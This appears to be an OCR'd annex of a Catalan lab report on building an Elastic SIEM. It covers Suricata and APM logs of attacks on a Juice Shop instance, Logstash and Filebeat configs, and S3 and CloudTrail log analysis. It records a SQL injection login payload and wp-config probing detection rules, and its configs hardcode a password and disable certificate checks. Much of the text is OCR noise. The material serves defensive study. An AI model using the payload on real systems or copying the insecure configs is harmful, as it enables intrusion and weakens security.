2	t suricata.eve.flow_id	316062072009577				
Б	t suricata.eve.http.http_content_type	application/json				
	# suricata.eve.http.http_port	3008				
5	t suricata.eve.http.protocol	HTTP/1.1				
.⊂↑	t suricata.eve.in_iface	ens33				
9	# suricata.eve.metadata.flowints.http.ano maly.count	1				
	# suricata.eve.tx_id	2				
Q	t tags	suricata				
ŵ	t url.domain	192.168.43.105				
	t url.original	/rest/product/search?q=				
	t url.path	/rest/product/search				

## Captura 138: HTTP Requests

Search								
A of A Planet				KQL 📋 🗸	Last 1 hour		Show dates	C Refresh
+ Add filter								
HTTP Requests	uests							ଘ
Method	Domain	Path	Status		Last host	Last source lp		Requests $\downarrow$
get	192.168.43.105	/socket.io/	200		suricata.mistic.lab	192.168.43.1		4
get	192.168.43.105	/assets/public/favicon_js.ic o	200		suricata.mistic.lab	192.168.43.1		3
post	192.168.43.105	/rest/user/login	200		suricata.mistic.lab	192.168.43.1		3
get	192.168.43.105	assets/i18n/en.json	200		suricata.mistic.lab	192.168.43.1		2
get	192.168.43.105	/assets/public/images/Juic eShop_Logo.png	200		suricata.mistic.lab	192.168.43.1		2
get	192.168.43.105	/assets/public/images/pro ducts/apple_juice.jpg	200		suricata.mistic.lab	192.168.43.1		2
get	192.168.43.105	/assets/public/images/pro ducts/apple_pressings.jpg	200		suricata.mistic.lab	192.168.43.1		2
get	192.168.43.105	/assets/public/images/pro ducts/banana_juice.jpg	200		suricata.mistic.lab	192.168,43.1		2
get	192.168.43.105	/assets/public/images/pro ducts/carrot_juice.jpeg	200		suricata.mistic.lab	192.168.43.1		2

-	irk - Kibana 🛛 🗙 🗾 Se	ervices   APM	×   +				-	
$\leftarrow \rightarrow$	C A No seguro   elasticstack	c.mistic.lab:5601/ap	op/siem#/network/ip/192.168.43.105/de	stination?timerange=(global:(lin	kTo:!(timeline),timerange:(from:1	587571624417,from 🗳	) Q 🛧 🐥 🔍 🖺 🖓	88 🔳 🗄
	SIEM / Network / 192.1	168.43.105					٥	≥ 🥚
	🗑 🗸 Search	× ☆	Untitled Timeline Description	n Notes	0 🔒 🛗 ∨ Last 1 h	our	Show dates C Ref	resh ැලි
Ø	😨 – + Add filter	[						
		OR	url.path: "/rest/user/login" $\times$					
30		Drop here to	build an OR query					
(dit)		AND Filt	er 🗸 📴 🗸 Search				KQL • Raw ev	ents 🗸
2	HTTP Request	S	😇 – + Add filter					
0	Showing: 35 requests	i≣ Colur	nns @timestamp $\downarrow$	message	event.category	event.action	host.name	sourc
2	Method	De > Ŧ	🖵 🛛 Apr 22, 2020 @ 18:23:36.111	i—	network_traffic	I-	suricata.mistic.lab	192
G1	get	Ì > ₽	P Apr 22, 2020 @ 18:23:36.111	I-	network_traffic	I-	suricata.mistic.lab	192
	get	· ↓ Ţ	P Apr 22, 2020 @ 18:23:35.198	-	I-	I-	dojo-VirtualBox	192
2	post	Tak	ISON View					
Ì	get	11	55014 VIEW					
Ð	get	I' Q	Filter by Field, Value, or Descriptio	n				
Ŷ	get	F	field	Value	Description			
~	get	F 🛛 🖓 (	@timestamp	Apr 22, 2020 @ 18:23:35.198	3			
ιώ)								
\$	1		]id	YZazonEBksYfmvQe1phR				

## Captura 139: Registre APM 1

Captura 140: Registre APM 2

	D SIEM / Network / 192.16	18.43.105	© 🗠 🥚
	Search	× 🏠 Untitled Timeline Description 🖸 Notes 💿 🙃 🛗 🗸 Last 1 hour Show dates	් Refresh දිද්
0	🕞 – + Add filter		
ì		OR url.path: "/rest/user/login" ×	
8		Drop here to build an OR query	
1		AND Filter V 😰 V Search KQL	$\bullet$ Raw events $\checkmark$
2	HTTP Requests	· · · Add filter	
9	Showing: 35 requests	i≣ Columns @timestamp ↓ message event.category event.action host.name	sourc
2	Method Do	O      By     Http:response.headers.X-Powered-     Express	
0	get	thttp:response.status_code 200	
	i get	t http.version	
3	post	.  (2) observer.ephemeral_id ac383e3a-d7cc-dd1a-97ff- ded3d34e547f	
1	get	t observer.hostname elasticstack.mistic.lab	
2	get	Image: Observer.id         Oeafd883-6023-4441-9fff- 1/28fa35d71a9	
?	get	t observer.type apm-server	
0	get	t observer.version   7.6.2	
		# observer.version_major 7	
»	get interview	4 √ of 4 Events ⊙ U	pdated 9 minutes ag

D SIEM / Network	192.168.43.10	05				0
🖫 🗸 Search	×	℃ Untitled Timeline Description	on 🔽 Notes 0 🕯 🛱 🗸	_ast 1 hour	Show dates	ී Refresh
🗇 – + Add filter	FT					
	(	or url.path: "/rest/user/login" ×				
	Dro	op here to build an OR query				
	A	NND Filter V 🕃 V Search			KQL	Raw events
HTTP Requ	ests	😇 — + Add filter				
Showing: 35 requests		E Columns @timestamp ↓	message event.category	event.action	host.name	sour
Method	De	C C Incorne	102.100.40.100			
get	11	t host.name	dojo-virtualBox			
get	1	Phose oscillation	("email":" or 1=1;			
post	11	C Internequest.body.originar	","password":"aaa"}			
get	I.	(2) http:request.headers.Accept	application/json, text/plain, */*			
get	II *	Ø     http:request.headers.Accept-     Encoding	gzip, deflate			
get	11	<ul> <li>Mathematical International Internatione International International International International Inter</li></ul>	es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3			
oet		thtp.request.headers.Connection	keep-alive			
901			40			
get						
	4 .	✓ OT 4 Events			ΘL	Jpdated 8 minutes a

## Captura 141: Registre APM 3

Captura 142: No filtratge per camp

< → C	▲ No seguro   elasticsta		K 🖧 🛚 📵
	SIEM / Network / 192	2.168.43.105	Q 🛛 🦲
Э [	🕄 🗸 Search	× ☆         Untitled Timeline         Description         □         Notes         □         ☆         Apr 21, 2020 @ 18:1 → Apr 22, 2020 @ 18:3	C Refresh
Ð	) - + Add filter		
î		or         http:request.body.original: "("email":" or 1=1;","password":"aaa")" ×	
8		Drop here to build an OR query	
1		AND Filter V 😰 V Search KQL •	Raw events $\sim$
3	iget it	∫u (ອ) = + Add filter	
9		I≣ Columns @timestamp ↓ message event.category event.action host.name	source.
3	Test		
9	i ger		
2			
Ĵ	get	l v	
<i>a</i>			
)	Last		
R	1 Aar	14	
2			
÷	Rows per page: 10 🗸	0 v of o Events O Up	dated 1 minute ago

8.2.2.6.3.2. *Captura 143: Atac XSS*  Atac XSS



Captura 144: Informació APM

APM / Servi	es / juice-shop / Transactions / GET /rest/product/search
	Avg. 222 ms      95th percentile      99th percentile     HTTP 2xx 0.0 rpm
0	
<u>ά</u>	Transactions duration distribution $\odot$
50	1req.
at:	0.5 req.
0.	
8	0 req. 0 ms 50 ms 100 ms 150 ms 200 ms 250 ms 300 ms 350 ms 400 ms
2	
ക	Trace sample 1/1 < >     Actions ~     Image: Construction of the same set
2	2 hours ago 421 ms (100.0% of trace) GET http://192.168.43.105:3008/rest/product/search?q= 200 OK Firefox (75.0.)
Ì	Timeline Metadata
an A	
4	Services         juice-snop           0 ms         50 ms         100 ms         150 ms         200 ms         250 ms         300 ms         350 ms         421 ms
ŵ.	
2	* HTTP 2xx GET /rest/product/search 421 ms

## 8.2.3. Escenari 2: Cloud Amazon Web Service 8.2.3.1. Obtenció de les dades

8.2.3.1.1. Logs d'aplicació S3 8.2.3.1.1.1. Configuracions

Configuració 1: Configuració del Logstash

##Input deaction	
#input { stdin { } }	
input {	
heats /	
port => 5044	
}	
}	
1 I	

```
filter {
```

grok {
match => { "message" => "%{IP:ip} ?%{IP:source.ip}, ?%{IP:ip}, ?%{IP:i

\[%{HTTPDATE:timestamp}\] \"(?:%{WORD:http.request.method} %{NOTSPACE:url.path}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:url.path})\" %{NUMBER:http.response.status\_code} (?:%{NUMBER:http.response.bytes}|-)"}

match => { "message" => "%{IP:ip} ?%{IP:source.ip}, ?%{IP:ip} %{INT:http.request.bytes} \[%{HTTPDATE:timestamp}] \"(?:%{WORD:http.request.method} %{NOTSPACE:utl.path})(?: HTTP/%{NUMBER:http.version})?|%{DATA:url.path})\" %{NUMBER:http.response.status\_code} (?:%{NUMBER:http.response.bytes}|-) %{QS:http.request.referrer} %{QS:agent}" }

match => { "message" => "%{IP:ip} ?%{IP:source.ip}, ?%{IP:ip}, ?%{IP:ip} %{INT:http.request.bytes} \[%{HTTPDATE:@timestamp}\] \"(?:%{WORD:http.request.method} %{NOTSPACE:url.path}(?: HTTP/%{NUMBER:http.version})?|%{DATA:url.path})\" %{NUMBER:http.response.status\_code} (?:%{NUMBER:http.response.bytes}|-) %{QS:http.request.referrer} %{QS:agent}" }

(?:%{NUMBER:http.response.bytes}|-) %{QS:http.request.referrer} %{QS:agent}" }
match => { "message" => "%{IP:ip} ?%{IP:source.ip}, ?%{IP:ip}, ?%{IP:ip}, ?%{IP:ip}, %{IP:ip} %{INT:http.request.bytes} \[%{HTTPDATE:timestamp}\] \"(?:%{WORD:http.request.method}} %{NOTSPACE:url.path}(?: HTTP/%{NUMBER:http.version})?|%{DATA:url.path})\"
%{NUMBER:http.response.status\_code} (?:%{NUMBER:http.response.bytes}|-)
%{QS:http.request.referrer} %{QS:agent}" }

```
geoip {
      source => "source.ip"
      target => "geoip"
      \label{eq:add_field} add_field => [ "[client][geo][location]", "%{[geoip][longitude]}" ] \\ add_field => [ "[client][geo][location]", "%{[geoip][latitude]}" ] \\ \end{cases}
  }
   mutate {
      convert => [ "[client][geo][location]", "float" ]
   date {
      match => [ "timestamp", "dd/MMM/yyyy:HH:mm:ss Z" ]
  }
output {
 elasticsearch {
  hosts => ["https://elasticstack.mistic.lab:9200"]
   index => "%{[@metadata][beat]}-%{[@metadata][version]}-%{+YYY.MM.dd}"
   user => "elastic"
   password => "3l4s1cUs3r"
      ssl_certificate_verification => false
stdout { codec => rubydebug { metadata => true } }
```

#### Configuració 2: Configuració del FileBeat AWS

# This file is an example configuration file highlighting only the most common

- # options. The filebeat.reference.yml file from the same directory contains all the
- # supported options with more comments. You can use it as a reference.
- #

}

# You can find the full configuration reference here:

# https://www.elastic.co/guide/en/beats/filebeat/index.html

# For more available modules and options, please see the filebeat.reference.yml sample # configuration file.

filebeat.inputs:

# Each - is an input. Most options can be set at the input level, so

- # you can use different inputs for various configurations.
- # Below are the input specific configurations.

- type: log

# Change to true to enable this input configuration. enabled: true

# Paths that should be crawled and fetched. Glob based paths.
paths:
- /dades/s3logs/logs/\*

#- c:\programdata\elasticsearch\logs\\*

# Exclude lines. A list of regular expressions to match. It drops the lines that are # matching any regular expression from the list. #exclude\_lines: ['^DBG']

# Include lines. A list of regular expressions to match. It exports the lines that are # matching any regular expression from the list. #include\_lines: ['^ERR', '^WARN']

# Exclude files. A list of regular expressions to match. Filebeat drops the files that # are matching any regular expression from the list. By default, no files are dropped. #exclude\_files: ['.gz\$']

# Optional additional fields. These fields can be freely picked# to add additional information to the crawled log files for filtering#fields:# level: debug

# review: 1

### Multiline options

# Multiline can be used for log messages spanning multiple lines. This is common # for Java Stack Traces or C-Line Continuation

# The regexp Pattern that has to be matched. The example pattern matches all lines starting with [ #multiline.pattern: ^\[

# Defines if the pattern set under pattern should be negated or not. Default is false. #multiline.negate: false

# Match can be set to "after" or "before". It is used to define if lines should be append to a pattern # that was (not) matched before or after or as long as a pattern is not matched based on negate. # Note: After is the equivalent to previous and before is the equivalent to to next in Logstash #multiline.match: after

#------ Filebeat modules ------

filebeat.config.modules: # Glob pattern for configuration loading path: \${path.config}/modules.d/\*.yml

# Set to true to enable config reloading reload.enabled: false

# Period on which files under path should be checked for changes #reload.period: 10s

setup.template.settings: index.number\_of\_shards: 1

#index.codec: best_compression #_source.enabled: false
#=====================================
# The name of the shipper that publishes the network data. It can be used to group # all the transactions sent by a single shipper in the web interface. #name:
# The tags of the shipper are included in their own field with each # transaction published. #tags: ["service-X", "web-tier"]
<ul> <li># Optional fields that you can specify to add additional information to the</li> <li># output.</li> <li>#fields:</li> <li># env: staging</li> </ul>
U Deskhaarde
<ul> <li># These settings control loading the sample dashboards to the Kibana index. Loading</li> <li># the dashboards is disabled by default and can be enabled either by setting the</li> <li># options here or by using the `setup` command.</li> <li>#setup.dashboards.enabled: false</li> </ul>
<ul> <li># The URL from where to download the dashboards archive. By default this URL</li> <li># has a value which is computed based on the Beat name and version. For released</li> <li># versions, this URL points to the dashboard archive on the artifacts.elastic.co</li> <li># website.</li> <li>#setup.dashboards.url:</li> </ul>
#=====================================
# Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API. # This requires a Kibana endpoint configuration. setup.kibana:
<ul> <li># Kibana Host</li> <li># Scheme and port can be left out and will be set to the default (http and 5601)</li> <li># In case you specify and additional path, the scheme is required: http://elasticstack.mistic.lab:5601/path</li> <li># IPv6 addresses should always be defined as: https://[2001:db8::1]:5601</li> <li>#host: "elasticstack.mistic.lab:5601"</li> </ul>
<ul> <li># Kibana Space ID</li> <li># ID of the Kibana Space into which the dashboards should be loaded. By default,</li> <li># the Default Space will be used.</li> <li>#space.id:</li> </ul>
#=====================================
# These settings simplify using Filebeat with the Elastic Cloud (https://cloud.elastic.co/).
<ul> <li># The cloud.id setting overwrites the `output.elasticsearch.hosts` and</li> <li># `setup.kibana.host` options.</li> <li># You can find the `cloud.id` in the Elastic Cloud web UI.</li> <li>#cloud.id:</li> </ul>
<pre># The cloud.auth setting overwrites the `output.elasticsearch.username` and # `output.elasticsearch.password` settings. The format is `<user>:<pass>`. #cloud.auth:</pass></user></pre>
#=====================================
# Configure what output to use when sending the data collected by the beat.
# Elasticsearch output
#output.elasticsearch:

#### #----- Migration ------

# This allows to enable 6.7 migration aliases
#migration.6\_to\_7.enabled: true



8.2.3.1.1.2. Captures Captura 145: Incorporació dels logs d'aplicació a l'Elasticsearch

8.2.3.1.2.

CloudTrail

8.2.3.1.2.1.

Configuracions

Configuració 3: CloudTrail Logstash

```
#input {
#
      stdin { }
#}
input {
 beats {
  port => 5044
   type => "json"
 }
}
  filter {
    json {
     source => "message"
    }
       date {
          match => ["eventTime" , "yyyy-MM-dd'T'HH:mm:ssZ"]
target => "@timestamp"
           add_field => { "debug" => "timestampMatched"}
       }
     geoip {
           source => "sourceIPAddress"
           target => "geoip"
           add_field => [ "[client][geo][location]", "%{[geoip][longitude]}" ]
           add_field => [ "[client][geo][location]", "%{[geoip][latitude]}" ]
     }
     mutate {
           convert => [ "[client][geo][location]", "float" ]
     }
  }
output {
```

```
elasticsearch {
   hosts => ["https://elasticstack.mistic.lab:9200"]
   index => " filebeat-cloudtrail-%{+YYYY.MM.dd}"
   user => "elastic"
   password => "3l4s1cUs3r"
      ssl_certificate_verification => false
   }
   stdout { codec => rubydebug { metadata => true } }
}
```

#### Configuració 4: FileBeat JSON

# This file is an example configuration file highlighting only the most common

- # options. The filebeat.reference.yml file from the same directory contains all the
- # supported options with more comments. You can use it as a reference.
- #
- # You can find the full configuration reference here:
- # https://www.elastic.co/guide/en/beats/filebeat/index.html

# For more available modules and options, please see the filebeat.reference.yml sample # configuration file.

#\_\_\_\_\_ Filebeat inputs \_\_\_\_\_\_

filebeat.inputs:

- # Each is an input. Most options can be set at the input level, so
- # you can use different inputs for various configurations.
- # Below are the input specific configurations.

- type: log

# Change to true to enable this input configuration. enabled: true

# Include lines. A list of regular expressions to match. It exports the lines that are # matching any regular expression from the list. #include\_lines: ['^ERR', '^WARN']

# Exclude files. A list of regular expressions to match. Filebeat drops the files that # are matching any regular expression from the list. By default, no files are dropped. #exclude\_files: ['.gz\$']

# Optional additional fields. These fields can be freely picked
# to add additional information to the crawled log files for filtering
#fields:
# level: debug
# review: 1

### Multiline options

# Multiline can be used for log messages spanning multiple lines. This is common # for Java Stack Traces or C-Line Continuation

# The regexp Pattern that has to be matched. The example pattern matches all lines starting with [ #multiline.pattern: ^\[ # Defines if the pattern set under pattern should be negated or not. Default is false. #multiline.negate: false # Match can be set to "after" or "before". It is used to define if lines should be append to a pattern # that was (not) matched before or after or as long as a pattern is not matched based on negate. # Note: After is the equivalent to previous and before is the equivalent to to next in Logstash #multiline.match: after filebeat.config.modules: # Glob pattern for configuration loading path: \${path.config}/modules.d/\*.yml # Set to true to enable config reloading reload.enabled: false # Period on which files under path should be checked for changes #reload.period: 10s setup.template.settings: index.number\_of\_shards: 1 #index.codec: best\_compression #\_source.enabled: false ====== General ==== # The name of the shipper that publishes the network data. It can be used to group # all the transactions sent by a single shipper in the web interface. #name: # The tags of the shipper are included in their own field with each # transaction published. #tags: ["service-X", "web-tier"] # Optional fields that you can specify to add additional information to the # output. #fields: # env: staging #===== # These settings control loading the sample dashboards to the Kibana index. Loading # the dashboards is disabled by default and can be enabled either by setting the # options here or by using the `setup` command. #setup.dashboards.enabled: false # The URL from where to download the dashboards archive. By default this URL # has a value which is computed based on the Beat name and version. For released # versions, this URL points to the dashboard archive on the artifacts.elastic.co # website. #setup.dashboards.url: #\_\_\_\_\_ Kibana \_\_\_\_\_\_\_\_ # Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API. # This requires a Kibana endpoint configuration. setup.kibana: # Kibana Host # Scheme and port can be left out and will be set to the default (http and 5601)

<ul> <li># In case you specify and additional path, the scheme is required: http://elasticstack.mistic.la</li> <li># IPv6 addresses should always be defined as: https://[2001:db8::1]:5601</li> <li>#host: "elasticstack.mistic.lab:5601"</li> </ul>	b:5601/path
<ul> <li># Kibana Space ID</li> <li># ID of the Kibana Space into which the dashboards should be loaded. By default,</li> <li># the Default Space will be used.</li> <li>#space.id:</li> </ul>	
#Elastic Cloud	
# These settings simplify using Filebeat with the Elastic Cloud (https://cloud.elastic.co/).	
<ul> <li># The cloud.id setting overwrites the `output.elasticsearch.hosts` and</li> <li># `setup.kibana.host` options.</li> <li># You can find the `cloud.id` in the Elastic Cloud web UI.</li> <li>#cloud.id:</li> </ul>	
# The cloud.auth setting overwrites the `output.elasticsearch.username` and # `output.elasticsearch.password` settings. The format is ` <user>:<pass>`. #cloud.auth:</pass></user>	
# Outputs	
# Configure what output to use when sending the data collected by the beat.	
<pre># #output.elasticsearch:     # Array of hosts to connect to.     # Array of hosts to connect to.     # hosts: ["elasticstack.mistic.lab:9200"]      # Protocol - either `http` (default) or `https`.     # protocol: "https"      # Authentication credentials - either API key or username/password.     #api_key: "id:api_key"     #username: "elastic"     #password: "changeme"</pre>	
<pre># Logstash output output.logstash:     # The Logstash hosts     hosts: ["elasticstack.mistic.lab:5044"]     # Optional SSL. By default is off.     # List of root certificates for HTTPS server verifications     #ssl.certificate_authorities: ["/dades/s3logs/filebeat-7.6.2/ssl/certs/ca_server.pem"]     # Certificate for SSL client authentication     #ssl.certificate: "/etc/pki/client/cert.pem"  # Client Certificate Key #ssl.key: "/etc/pki/client/cert.key"</pre>	
#======================================	Processors
# Configure processors to enhance or manipulate events generated by the beat.	
processors: - add_host_metadata: ~ - add_cloud_metadata: ~ - add_docker_metadata: ~ - add_kubernetes_metadata: ~ #====================================	

# Sets log level. The default log level is info.# Available log levels are: error, warning, info, debug

#logging.level: debug
<ul> <li># At debug level, you can selectively enable logging only for some components.</li> <li># To enable all selectors use ["*"]. Examples of other selectors are "beat",</li> <li># "publish", "service".</li> <li>#logging.selectors: ["*"]</li> </ul>
<ul> <li>#====================================</li></ul>
# Set to true to enable the monitoring reporter. #monitoring.enabled: false
<ul> <li># Sets the UUID of the Elasticsearch cluster under which monitoring data for this</li> <li># Filebeat instance will appear in the Stack Monitoring UI. If output.elasticsearch</li> <li># is enabled, the UUID is derived from the Elasticsearch cluster referenced by output.elasticsearch.</li> <li>#monitoring.cluster_uuid:</li> </ul>
<ul> <li># Uncomment to send the metrics to Elasticsearch. Most settings from the</li> <li># Elasticsearch output are accepted here as well.</li> <li># Note that the settings should point to your Elasticsearch *monitoring* cluster.</li> <li># Any setting that is not set is automatically inherited from the Elasticsearch</li> <li># output configuration, so if you have the Elasticsearch output configured such</li> <li># that it is pointing to your Elasticsearch monitoring cluster, you can simply</li> <li># uncomment the following line.</li> <li>#monitoring.elasticsearch:</li> </ul>
#=====================================
# This allows to enable 6.7 migration aliases #migration.6_to_7.enabled: true

## 8.2.3.1.2.2. Captures

#### Captura 146: Esdeveniment CloudTrail I



#### Captura 147: Esdeveniment Cloudtrail II

<del>(</del> )-	⊖ C* û 🛛 🔒 🗝 b	https://elasticstack. <b>mistic.lab</b> :5601/app/kibana#/discover?_g=(refreshInt	terval:{pause:1t,value:0},time:{from:2020-04-01T06:01:41.204Z',to: 🐨 🐷 🛣	∭\ 🖸 🏽 Ξ
K	D Discover			۰ ک
	t host.os.family	t host.id	bb73adfd76b848479f179fbd7c64f857	
	t host.os.name	t host.name	elasticstack.mistic.lab	
ŝ	t host.os.platform	t host.os.codename	Core	
	t host.os.version	f host.os.family	redhat	
் ப	t input.type	t host.os.name	CentOS Linux	
	t log.file.path	f host.os.platform	centos	
æ	log.offset	t host.os.version	7 (Core)	
 Q	@ readOnly	ବ୍ ବ୍ 🗐 🐻 t input.type	log	
	@ recipientAccountId	t log.file.path	/dades/s3logs/logs/Eventsawscli.json	
	@ requestID	# log.offset	2	
्री	⑦ requestParameters.attach	© requestID	▲ 8d1754f8-d8cd-4d16-aabe-67ff656685ae	
9	requestParameters.bucke      requestParameters.durati	<pre>© requestParameters.logGroupName</pre>	△ /aws/k8s/production/application	
e G	© requestParameters.encry	requestParameters.logStreamName	⚠ latenciacron-1505765740-vgt5z_latenciaapp_latenciacron-5b2e933b8ba342	b4e59507b5ca151c1
ŵ	② requestParameters.encry	⑦ sourceIPAddress	82f82143d95d905f402f98bb8eaba8bf8 A 3.248.65.133	
۲	Ø requestParameters.encry	t tags	beats_input_raw_event	
	requestParameters.extern	t type	json	
⇒	A reducer a quere e guide en	③ userAgent	▲ aws-sdk-ruby3/3.68.0ruby/2.6.4x86_64-linuxaws-sdk-cloudwatchlogs/1	.25.0

## 8.2.3.2. Anàlisi de dades

8.2.3.2.1.

L. Logs d'aplicació: S3

Captura 148: GET consulta estranya





#### Captura 149: Detall de la consulta

#### Captura 150: Filtre per IP

< Z	ל U	ntitle	d Timeline Description	Notes 🖸	🗎 🖬 🗸 Mar	23, 2020 @ 00:5 → 1	Mar 23, 2020 @ 20: C Re	fresh
OR		source	e.ip: "40 63" ×					
	Filte	r 🗸	Search				KQL • Raw e	vents
			🕞 – + Add filter					
:=	Colum	ns	@timestamp $\downarrow$	url.path	http.response.statu	message	host.name	so
>	무	P	Mar 23, 2020 @ 16:45:09.000	/staticelem/css/reset.css	404	1(	, 1 elasticstack.mistic.lab	1
>	무	P	Mar 23, 2020 @ 15:33:16.000	/js/a83.js	404	10	1 elasticstack.mistic.lab	4
>	埬	P	Mar 23, 2020 @ 15:30:11.000	/templates/tube3/js/boots	404	1(	1 elasticstack.mistic.lab	1
>	曱	P	Mar 23, 2020 @ 15:29:38.000	/_nuxt/7cddab10f3d8c7dd	404	10	1 elasticstack.mistic.lab	1
>	₽	P	Mar 23, 2020 @ 15:23:27.000	/_layouts/15/blank.js	404	1(	, 1 elasticstack.mistic.lab	1
>	루	P	Mar 23, 2020 @ 13:07:01.000	/css/btn.min.css	404	10	1 elasticstack.mistic.lab	1
>	무	P	Mar 23, 2020 @ 13:07:00.000	/js/capslock.js	404	1(	1 elasticstack.mistic.lab	
>	曱	P	Mar 23, 2020 @ 13:06:59.000	/js/jeasyui/jquery.easyui.m	404	10	57 elasticstack.mistic.lab	1
>	무	P	Mar 23, 2020 @ 11:24:05.000	/web/css/lity.css	404	1(	1 elasticstack.mistic.lab	
>	早	P	Mar 23, 2020 @ 11:24:04.000	/web/js/validation.js	404	1(	57 elasticstack.mistic.lab	
>	埬	P	Mar 23, 2020 @ 11:24:04.000	/web/js/common.js	404	1(	57 elasticstack.mistic.lab	1
>	埬	P	Mar 23, 2020 @ 11:24:03.000	/web/js/jquery.hc-sticky.m	404	1(	, 1 elasticstack.mistic.lab	1
>	₽	P	Mar 23, 2020 @ 11:24:02.000	/web/css/jquery.treefilter.c	404	10	1 elasticstack.mistic.lab	
>	埬	P	Mar 23, 2020 @ 11:24:02.000	/web/css/ranking.css	404	10	57 elasticstack.mistic.lab	
>	Π		Mar 23, 2020 @ 10:53:30.000	/assets/is/base/detail.min.is	404	1(	1 elasticstack.mistic.lab	1

ab 30 v of 30 Events

O Updated 6 minutes ago



Captura 151: Consultes amb estat diferent a 404

#### Captura 153: Index Pattern II









Captura 155: Configuració de la capa II



## Captura 157: Accés des de Rússia

Captura 158: Detall d'accés des de Rússia

← →	C 🔺 No seguro   elasticstack.m	stic.lab:5601/app/siem#/hosts/events?timerange=(global:(linkTo:!(timeline),timerange:(from:1584631098143,kind:absolute,to:158506313498 🖏 🍳 😭	•	<b>«</b> «	<i>6</i> = =	E
K	D SIEM / Hosts / Events			¢		е
	Overview Hosts	× ☆ Untitled Timeline Description 🕞 Notes ) ☆ 🛗 ∨ Mar 19, 2020 @ 16:1 → Mar 24, 2020 (	@ 16:1	C	Refresh	ŝ
Ø						
ŝ	🖹 🗸 Search	OR source.ip: "46.161.15.88" ×				
3		Drop here to build an OR query				
â		AND Filter V 🕃 V Search	KQL	• Ra	aw events	$\sim$
٥	Hosts	😌 — + Add filter				
⊕	Last event: 1 hour ago	III Columns @timestamp ↓ geoip.country_name uri.path message	s	ource.ip		
2		Image: Provide a state of the stat	57.5	46	88	
5	Hosts	>         Image: The state of the stat	19 [	46	88	
72	• II 3					
Î						
P	3 2.2 1.4					
Ÿ	0.6 03-20 12:00 03-22 12:00					
ŵ						
s ⇒	All hosts Authenticati	2 v of 2 Events	() I	Updated	i 10 secon	ids ago

## Captura 159: Intents accés \*wp-config\*

D SIEM / Hosts / Events					0
🖫 🗸 Search	× ☆ Untitled Time	ine Description	🗆 Notes 0 🔒 🗮 🗸	Mar 19, 2020 @ 16:1 → Mar 24, 2020 @ 16:1	ී Refresh
😇 – + Add filter	[				
		Dr	p anything highlighted here to	build an OR query	
Hosts	AND Filter V	<ul> <li>url.path: *wp-config*</li> </ul>		KQL	Raw events
	5	+ Add filter			
3	i≣ Columns @times	tamp ↓ http.resp	onse.statu geoip.country_na	ne url.path	messag
22 14 06	> 📮 💭 🛛 Mar 2	0, 2020 @ 23:16:49.000 301	Sweden	/wp-config.php_orig	10.0.50
03-20 12:00 03-22 12:00	> 📮 💭    Mar 2	0, 2020 @ 23:16:45.000 301	Sweden	/wp-config.php.orig	10.0.50
	> 📮 💭 🛛 Mar 2	0, 2020 @ 23:16:32.000 301	United States	/wp-config.php_	10.0.78
All hosts Authenticati	> 📮 💭 🛛 Mar 2	0, 2020 @ 23:16:25.000 301	Austria	/wp-config.php~	10.0.50
	> 📮 💭 🛛 Mar 2	0, 2020 @ 23:16:23.000 404	Germany	/wp-config.php.save	10.0.78
	> 📮 💭 🛛 Mar 2	0, 2020 @ 23:16:20.000 301	Austria	/wp-config.php.save	10.0.50
Events	> 📮 💭 🛛 Mar 2	0, 2020 @ 23:16:15.000 301	Netherlands	/wp-config.php.backup	10.0.50
	> 📮 💭 Mar 2	0, 2020 @ 23:16:13.000 404	Netherlands	/wp-config.php.bak	10.0.50
18,000	> 🃮 📮 Mar 2	0, 2020 @ 23:16:10.000 301	Netherlands	/wp-config.php.bak	10.0.50
14,000	21 V of 21 Events	;		C	Updated 4 minutes

Captura 160: Signal wp-config

K	SIEM / Detections / Signal detection rules / Create	© 🛛 😐 Î
Ø	Define rule 🖉 Edit	
俞	Index nations	
50	filebeat-7.6.2.* url.path: *wp-config*	
â		
	About rule	< 2
69		melir
2	Name Risk score	F
5	Acces WP-Config 50	
P	Acces WP-Config Default blank timeline	
Ì	Severity Tags	
P	• Low Custom Web	
Ŷ		
÷	3 Schedule rule	
2		
⇒	Runs every	

## Captura 161: Signal consulta estranya

<b>v</b> s	IEM / Detections / Signal detection rules / Create		Q	
	Define rule	Ø Edit		
	Index patterns filebeat-7.6.2-*	Custom query url.path: /biz_photos/scrollable_photos/*		
				ſ
	About rule	Edit		
	Name	Risk score		
	ConsultaEstranya	75		
	Description	Investigate detections using this timeline template		
	Severity			
	<ul> <li>High</li> </ul>	Custom Web		
	3 Schedule rule			
	Runs every			

## 8.2.3.2.2. CloudTrail Logs

## Captura 162: Detall d'esdeveniment d'instància I

K	D SIEM / Hosts / Events						٥		e
	🕲 🗸 eventName: Describe*		KQL	<b>*</b>	Apr 1, 2020 @ 00:15:59.981 → Apr 1	l, 2020 @ 23:16:07.189	C Refres	h	
Ø	🗇 – + Add filter							_	
ŝ	Showing, 12,203 events								
50	i≣ @timestamp ↓ message	host.name	event.m	nodule	event.dataset	event.action	user.name		
ŵ	austration	ou-west-1							0
	<ul> <li>Client.geo.location</li> </ul>	-6.2488 53.3338							<
ø	t debug	timestampMatched							lelin
0	t ecs.version	1.4.0							≓
2	t eventID	7b400127-3da7-492a-bee6-b8f12595	idc67						
5	t eventName	DescribeInstances							
_	t eventSource	ec2.amazonaws.com							
2	() eventTime	Apr 1, 2020 @ 20:27:19.000							
Î	t eventType	AwsApiCall							
	t eventVersion	1.05							
<b>@</b> '''	t geoip.city_name	Dublin							
Ŷ	t geoip.continent_code	EU							
~	t geoip.country_code2	IE							
×.	t geoip.country_code3	IE							
522	geoip.country_name	Ireland							
⇒	👘 🕈 🛛 aeoio.io	3 153							

#### Captura 163: Detall d'esdeveniment d'instància II

D	SIEM / Hosts / Events				© 🛛
5	✓ eventName: Describe*		KQL 📋 🗸	Apr 1, 2020 @ 00:15:59.981 → Apr 1, 2020	0 @ 23:16:07.189 C Refresh
<del>,</del>	- + Add filter				
an	nowing. 12,205 events				
	i≣ @timestamp ↓ message	host.name	event.module	event.dataset even	nt.action user.name
	@ requestParameters.instancesSet.items	{"instanceId":"i-Ofe6 be6c"}			
	0 0	{"instanceId":"i-036 o4fd"}			
	t sourcelPAddress	34 .153			
	t tags	beats_input_raw_event			
	t type	json			
	t userAgent	aws-sdk-go/1.21.6(go1.12.5;linux;amd6	4)		
	t userldentity.accessKeyld	ASIA DD			
